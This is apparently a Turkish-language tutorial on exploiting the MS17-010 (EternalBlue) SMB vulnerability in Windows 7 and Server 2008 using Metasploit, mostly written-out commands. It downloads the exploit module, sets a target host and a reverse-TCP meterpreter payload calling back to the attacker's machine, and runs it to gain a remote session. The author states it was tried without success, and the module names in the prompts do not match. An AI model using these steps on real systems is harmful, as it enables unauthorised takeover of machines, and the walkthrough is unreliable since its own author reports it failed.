MS17_010 SMB Zafiyeti ve Exploit Etme

(-) Bu yazı birebir denenmiştir, fakat başarıyla uygulanamamıştır.

MS17_010 smb zafiyeti Windows 7 ve Windows Server 2008 x64 R2 All Service Packs sistemlerini etkileyen kritik bir zafiyettir. Bu yazıda bu zafiyetten faydalanarak hedef windows makinasında meterpreter oturumu ele alınacaktır.

Gereksinimler

Ubuntu 14.04 LTS // Ana Makina
Windows 7 // Hedef Makina

Not: Ubuntu'ya metasploit kurmak için bkz. https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

ms17_010 smb zafiyeti yeni bir zafiyet olduğu için exploit'in elle metasploit'e yüklenmesi gerekmektedir. O nedenle github'dan önce exploit indirilir, sonra inen exploit metasploit framework'üne kopyalanır.

Ubuntu 14.04 LTS

```
> sudo su
> wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb
> cp ms17_010_eternalblue.rb /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.16/modules/exploits/windows/smb/
```

Ardından metasploit başlatılır.

Ubuntu 14.04 LTS

```
> service metasploit start
> msfconsole
```

Eklediğimiz exploit'in yerleşmesi için aşağıdaki komut girilir.

Ubuntu 14.04 LTS

```
msf > reload_all
```

Böylece modülümüz başarıyla yüklenir. Şimdi modülümüzü kullanalım.

Ubuntu 14.04 LTS

```
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(eternalblue_doublepulsar) > set RHOSTS 172.16.3.136      // Windows Server 2008 IP
msf exploit(eternalblue_doublepulsar) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(eternalblue_doublepulsar) > set LHOST 172.16.3.113        // Ubuntu 14.04 LTS IP
msf exploit(eternalblue_doublepulsar) > exploit
```

Böylece meterpreter payload'u elde edilir.

Bu smb zafiyeti windows xp 'leri etkileyen ms08_067 netapi zafiyetinin devamı niteliğindedir. Çünkü Windows XP'ler smb zafiyetinden dolayı ele geçirilebiliyordu. Windows 7 ve Server 2008 de yine smb zafiyetinden dolayı ele geçirilebilmektedir.

Kaynaklar

Metasploit'e Eternal Blue Exploit'ini Yükleme
https://www.youtube.com/watch?v=VA2r-DWvvlA

MS17_010 Exploit'i Kaynak Kodu
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb